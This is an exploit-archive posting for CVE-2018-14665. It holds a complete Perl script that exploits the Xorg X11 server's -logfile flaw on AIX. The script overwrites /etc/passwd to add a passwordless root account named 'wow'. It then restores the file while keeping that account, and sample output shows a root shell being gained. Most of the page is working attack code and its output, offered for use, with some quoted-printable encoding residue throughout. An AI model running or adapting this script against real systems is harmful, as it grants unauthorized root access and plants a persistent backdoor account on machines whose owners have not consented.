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Xorg X11 Server (AIX) Local Privilege Escalation

Xorg X11 Server (AIX) Local Privilege Escalation
Posted Dec 5, 2018
Authored by 0xdono

Xorg X11 server on AIX local privilege escalation exploit.

tags | exploit, local
systems | aix
advisories | CVE-2018-14665
MD5 | ef9b5b428615417d7a3e9bc170952de3

Xorg X11 Server (AIX) Local Privilege Escalation

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# Exploit Title: AIX Xorg X11 Server - Local Privilege Escalation
# Date: 29/11/2018
# Exploit Author: @0xdono
# Original Discovery and Exploit: Narendra Shinde
# Vendor Homepage: https://www.x.org/
# Platform: AIX
# Version: X Window System Version 7.1.1
# Fileset: X11.base.rte < 7.1.5.32
# Tested on: AIX 7.1 (6.x to 7.x should be vulnerable)
# CVE: CVE-2018-14665
#
# Explanation:
# Incorrect command-line parameter validation in the Xorg X server can
# lead to privilege elevation and/or arbitrary files overwrite, when the
# X server is running with elevated privileges.
# The -logfile argument can be used to overwrite arbitrary files in the
# file system, due to incorrect checks in the parsing of the option.
#
# This is a port of the OpenBSD X11 Xorg exploit to run on AIX.
# It overwrites /etc/passwd in order to create a new user with root privile=
ges.=20
# All currently logged in users need to be included when /etc/passwd is ove=
rwritten,
# else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to ch=
ange user.
# The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX=
,
# and is replaced by '-config'.
# ksh93 is used for ANSI-C quoting, and is installed by default on AIX.
#
# IBM has not yet released a patch as of 29/11/2018.
#
# See also:
# https://lists.x.org/archives/xorg-announce/2018-October/002927.html
# https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html
# https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl
#
# Usage:
# $ oslevel -s
# 7100-04-00-0000
# $ Xorg -version
# =20
# X Window System Version 7.1.1
# Release Date: 12 May 2006
# X Protocol Version 11, Revision 0, Release 7.1.1
# Build Operating System: AIX IBM
# Current Operating System: AIX sovma470 1 7 00C3C6F54C00
# Build Date: 07 July 2006
# Before reporting problems, check http://wiki.x.org
# to make sure that you have the latest version.
# Module Loader present
# $ id
# uid=3D16500(nmyo) gid=3D1(staff)
# $ perl aixxorg.pl
# [+] AIX X11 server local root exploit
# [-] Checking for Xorg and ksh93=20
# [-] Opening /etc/passwd=20
# [-] Retrieving currently logged in users=20
# [-] Generating Xorg command=20
# [-] Opening /tmp/wow.ksh=20
# [-] Writing Xorg command to /tmp/wow.ksh=20
# [-] Backing up /etc/passwd to /tmp/passwd.backup=20
# [-] Making /tmp/wow.ksh executable=20
# [-] Executing /tmp/wow.ksh=20
# [-] Cleaning up /etc/passwd and removing /tmp/wow.ksh=20
# [-] Done=20
# [+] 'su wow' for root shell=20
# $ su wow
# # id
# uid=3D0(root) gid=3D0(system)
# # whoami
# root

#!/usr/bin/perl
print "[+] AIX X11 server local root exploit\n";

# Check Xorg is in path
print "[-] Checking for Xorg and ksh93 \n";
chomp($xorg =3D `command -v Xorg`);
if ($xorg eq ""){=20
print "[X] Can't find Xorg binary, try hardcode it? exiting... \n";
exit;
}

# Check ksh93 is in path
chomp($ksh =3D `command -v ksh93`);
if ($ksh eq ""){
print "[X] Can't find ksh93 binary, try hardcode it? exiting... \n";
exit;
}

# Read in /etc/passwd
print "[-] Opening /etc/passwd \n";
open($passwd_fh, '<', "/etc/passwd");
chomp(@passwd_array =3D <$passwd_fh>);
close($passwd_fh);

# Retrieve currently logged in users
print "[-] Retrieving currently logged in users \n";
@users =3D `who | cut -d' ' -f1 | sort | uniq`;
chomp(@users);

# For all logged in users, add their current passwd entry to string
# that will be used to overwrite passwd
$users_logged_in_passwd =3D '';
foreach my $user (@users)
{
$user .=3D ":";
foreach my $line (@passwd_array)
{
if (index($line, $user) =3D=3D 0) {
$users_logged_in_passwd =3D $users_logged_in_passwd . '\n' . $l=
ine;
}
}
}

# Use '-config' as '-fp' (which is used in the original BSD exploit) is not=
written to log
print "[-] Generating Xorg command \n";
$blob =3D '-config ' . '$\'' . $users_logged_in_passwd . '\nwow::0:0::/:/us=
r/bin/ksh\n#' . '\'';

print "[-] Opening /tmp/wow.ksh \n";=09=09
open($fr, '>', "/tmp/wow.ksh");

# Use ksh93 for ANSI-C quoting
print "[-] Writing Xorg command to /tmp/wow.ksh \n";
print $fr '#!' . "$ksh\n";
print $fr "$xorg $blob -logfile ../etc/passwd :1 > /dev/null 2>&1 \n";
close $fr;

# Backup passwd=20
print "[-] Backing up /etc/passwd to /tmp/passwd.backup \n";
system("cp /etc/passwd /tmp/passwd.backup");

# Make script executable and run it
print "[-] Making /tmp/wow.ksh executable \n";
system("chmod +x /tmp/wow.ksh");
print "[-] Executing /tmp/wow.ksh \n";
system("/tmp/wow.ksh");

# Replace overwritten passwd with: original passwd + wow user
print "[-] Cleaning up /etc/passwd and removing /tmp/wow.ksh \n";
$result =3D `su wow "-c cp /tmp/passwd.backup /etc/passwd && echo 'wow::0:0=
::/:/usr/bin/ksh' >> /etc/passwd" && rm /tmp/wow.ksh`;

print "[-] Done \n";
print "[+] 'su wow' for root shell \n";


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